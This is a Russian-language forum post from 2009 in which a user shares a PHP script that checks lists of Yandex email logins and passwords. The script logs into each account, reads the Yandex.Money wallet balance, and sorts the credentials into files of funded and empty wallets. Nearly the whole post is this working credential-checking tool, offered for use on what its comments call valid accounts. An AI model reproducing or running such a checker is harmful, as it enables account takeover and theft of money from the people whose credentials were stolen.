Показать сообщение отдельно

  #9  
Старый 13.08.2009, 14:00
Велемир
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
С нами: 10470131

Репутация: 142


По умолчанию

PHP код:
<?php

@set_time_limit(0);

$url "http://passport.yandex.ru/passport?mode=auth&amp;retpath=http://mail.yandex.ru"// урла с авторизацией
$url1 "http://passport.yandex.ru/passport?mode=logout";   // Выход с ящика.
$ua "Opera 9.64";
$ref "http://www.yandex.ru/";
$req "";
$money_file "valid.txt"// Фаил с ВАЛИДНЫМИ мылами
$result "result.txt"// Фаил вида мыло:пароль:рублёвая зелень
$nulled "nulled.txt"// Фаил с кошелями с нулевым балансом.
$counter "0";
$counter1 "0";

$fp fopen($money_file,"r");
$fp1 fopen($result,"a+");
$fp2 fopen($nulled,"a+");

for (
$i 0$i 1681;$i++) { // Тут задаём количество мыл в файле.Удобно,если нужно считать часть мыл,а не все сразу

$str fgets($fp,1024);
$str explode(":",trim($str));
$req "login=$str[0]&passwd=$str[1]";   //Формируем запрос



$ch curl_init();

curl_setopt($ch,CURLOPT_URL,$url);              //Посылаем запрос
curl_setopt($ch,CURLOPT_REFERER,$ref);
curl_setopt($ch,CURLOPT_USERAGENT,$ua);
curl_setopt($ch,CURLOPT_POST,1);
curl_setopt($ch,CURLOPT_POSTFIELDS,$req);
curl_setopt($ch,CURLOPT_COOKIEFILE,"./cookie");
curl_setopt($ch,CURLOPT_COOKIEJAR,"./cookie");
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);

$res curl_exec($ch);

curl_close($ch);

$ch curl_init();

curl_setopt($ch,CURLOPT_URL,"http://money.yandex.ru");   // Переходим на страницу Яндекс.Деньги,чтобы посмотреть баланс.
curl_setopt($ch,CURLOPT_REFERER,"http://passport.yandex.ru");
curl_setopt($ch,CURLOPT_COOKIEFILE,"./cookie");
curl_setopt($ch,CURLOPT_COOKIEJAR,"./cookie");
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);

$res1 curl_exec($ch);

if(
preg_match_all('#<span id="current-user-balance">(.*?)</span>#',$res1,$m)) { // Парсим рубли )

foreach ($m[1] as $r) {

if (
$r == '0,00*руб.') {

$counter1++;
$null $str[0].':'.$str[1].':'.$r;
fwrite($fp2,$null."\r\n");

}

else {

$counter++;
$res $str[0].':'.$str[1].':'.$r;
fwrite($fp1,$res."\r\n");

}

}

}


curl_close($ch);

$ch curl_init();

curl_setopt($ch,CURLOPT_URL,$url1);              //Выходим с мыла.
curl_setopt($ch,CURLOPT_USERAGENT,$ua);
curl_setopt($ch,CURLOPT_COOKIEFILE,"./cookie");
curl_setopt($ch,CURLOPT_COOKIEJAR,"./cookie");
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);

echo 
"Ждём три секунды...<br>";
sleep(3); // Задержка перед запросами на чек мыл.

curl_close($ch);

}

echo 
"<center>Всего кошельков: $counter </center>";
echo 
"<center>Из них пустых: $counter1 </center>";

fclose($fp);
fclose($fp1); // Каанееец ^_________^
fclose($fp2);

// Copyrighted by Веля солнышкин

?>
ЗЫ: Добавлена проверка для кошельков с нулевым балансом).

Последний раз редактировалось Велемир; 13.08.2009 в 19:46..
 
Ответить с цитированием